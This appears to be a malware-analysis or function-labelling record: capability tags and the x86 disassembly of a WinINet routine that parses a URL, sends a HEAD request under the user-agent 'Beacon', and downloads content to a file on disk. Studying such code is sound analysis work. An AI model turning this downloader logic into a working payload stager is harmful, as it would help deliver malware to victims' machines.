Function at 0x10009800
Capabilities:
Connect to http server
Create http request
Download and write a file
Get http content length
Parse url
Read data from internet
Receive and write data from server to client
Receive data
Resolve function by parsing pe exports
Write file on windows

Disassembly:
mov eax, 0x24f4
call fcn.1001b7c0
mov eax, dword [0x10035080]
xor eax, esp
mov dword [esp + 0x24f0], eax
push esi
push edi
xor eax, eax
push 0x1fe
mov edi, ecx
push eax
lea ecx, [esp + 0x272]
mov esi, edx
push ecx
mov dword [esp + 0x14], esi
mov word [esp + 0x274], ax
call fcn.1001a970
xor edx, edx
push 0xfe
push edx
lea eax, [esp + 0x7e]
push eax
mov word [esp + 0x80], dx
call fcn.1001a970
xor ecx, ecx
push 0xfe
push ecx
lea edx, [esp + 0x18a]
push edx
mov word [esp + 0x18c], cx
call fcn.1001a970
xor eax, eax
push 0x1046
push eax
lea ecx, [esp + 0x14de]
push ecx
mov word [esp + 0x14e0], ax
call fcn.1001a970
push 0x38
lea edx, [esp + 0x64]
push 0
push edx
call fcn.1001a970
lea eax, [esp + 0x2a4]
mov dword [esp + 0x78], eax
mov eax, 0x80
mov dword [esp + 0x88], eax
mov dword [esp + 0x90], eax
add esp, 0x3c
lea ecx, [esp + 0x68]
lea edx, [esp + 0x168]
lea eax, [esp + 0x14b0]
mov dword [esp + 0x2c], 0x3c
mov dword [esp + 0x40], pe_nt_image_headers32
mov dword [esp + 0x48], ecx
mov dword [esp + 0x50], edx
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], 0x824
test esi, esi
je 0x10009c3d
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push edi
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
je 0x1000991b
cmp dword [esp + 0x38], 3
je 0x10009936
xor esi, esi
pop edi
mov eax, esi
pop esi
mov ecx, dword [esp + 0x24f0]
xor ecx, esp
call fcn.10019069
add esp, 0x24f4
ret
push 0
push 0
push 0
push 0
push str.Beacon
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
mov dword [esp + 0x20], edi
test edi, edi
jne 0x1000995a
xor esi, esi
jmp 0x10009c19
mov ecx, dword [esp + 0x44]
push ebx
push 0
push 0
push 3
lea edx, [esp + 0x178]
push edx
lea eax, [esp + 0x7c]
push eax
push ecx
lea edx, [esp + 0x284]
push edx
push edi
call dword [sym.imp.WININET.dll_InternetConnectW]
mov ebx, eax
mov dword [esp + 0x14], ebx
test ebx, ebx
jne 0x10009993
xor esi, esi
jmp 0x10009c0d
xor eax, eax
push 0x1046
push eax
lea ecx, [esp + 0x476]
push ecx
mov word [esp + 0x478], ax
call fcn.1001a970
add esp, 0xc
cmp dword [esp + 0x60], 0
je 0x100099e1
mov eax, dword [esp + 0x5c]
lea edx, [esp + 0x46c]
sub edx, eax
jmp 0x100099d0
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x100099d0
jmp 0x10009a07
xor eax, eax
jmp 0x100099f0
movzx ecx, word [eax + 0x10030564]
mov word [esp + eax + 0x46c], cx
add eax, 2
test cx, cx
jne 0x100099f0
push ebp
mov ebp, dword [sym.imp.WININET.dll_HttpOpenRequestW]
push 0
push closesocket
push 0
push 0x100304f4
push 0x10030568
lea edx, [esp + 0x484]
push edx
push str.HEAD
push ebx
call ebp
mov ebx, eax
mov edi, ebx
mov dword [esp + 0x24], ebx
call fcn.10009760
mov esi, eax
test esi, esi
je 0x10009bf9
push 0
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x24]
push ecx
push 0x20000005
push ebx
mov dword [esp + 0x30], 0
mov dword [esp + 0x40], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x10009a85
cmp dword [esp + 0x1c], 0x3e800000
jbe 0x10009a85
xor esi, esi
jmp 0x10009bf9
mov eax, dword [esp + 0x18]
push 0
push closesocket
push 0
push 0x100304f4
push 0x10030568
lea edx, [esp + 0x484]
push edx
push 0x10030588
push eax
call ebp
mov esi, dword [sym.imp.WININET.dll_InternetSetOptionW]
push 4
lea ecx, [esp + 0x24]
push ecx
mov edi, eax
push 5
push edi
mov dword [esp + 0x30], 0x2bf20
call esi
push 4
lea edx, [esp + 0x24]
push edx
push 6
push edi
call esi
call fcn.10009760
mov esi, eax
test esi, esi
je 0x10009bee
mov eax, dword [esp + 0x10]
push 0
push 0x80
push 2
push 0
push 3
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10009b0e
xor esi, esi
jmp 0x10009bee
push 0x80000
call fcn.100171e4
mov ebx, eax
xor esi, esi
add esp, 4
cmp ebx, esi
je 0x10009bcf
push 0x80000
push esi
push ebx
mov dword [esp + 0x1c], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x20], esi
call fcn.1001a970
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
push 0x80000
push ebx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
test esi, esi
je 0x10009bcf
lea ebx, [ebx]
mov eax, dword [esp + 0x14]
xor esi, esi
test eax, eax
jbe 0x10009b8c
add dword [esp + 0x10], eax
push esi
lea edx, [esp + 0x34]
push edx
push eax
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
test esi, esi
je 0x10009bcf
push ebp
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
jmp 0x10009b8e
je 0x10009bc0
push 0x80000
push 0
push ebx
mov dword [esp + 0x20], 0
call fcn.1001a970
add esp, 0xc
lea eax, [esp + 0x14]
push eax
push 0x80000
push ebx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
test esi, esi
jne 0x10009b60
jmp 0x10009bcf
mov ecx, dword [esp + 0x10]
cmp ecx, dword [esp + 0x1c]
jne 0x10009bcf
mov esi, 1
push ebp
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x10009bea
push ebx
call fcn.100192ae
add esp, 4
mov ebx, dword [esp + 0x24]
test edi, edi
je 0x10009bf9
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ebp
test ebx, ebx
je 0x10009c05
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [esp + 0x24]
mov ebx, dword [esp + 0x14]
test ebx, ebx
je 0x10009c18
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ebx
test edi, edi
je 0x10009c24
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
mov eax, esi
pop esi
mov ecx, dword [esp + 0x24f0]
xor ecx, esp
call fcn.10019069
add esp, 0x24f4
ret
mov ecx, dword [esp + 0x24f8]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.10019069
add esp, 0x24f4
ret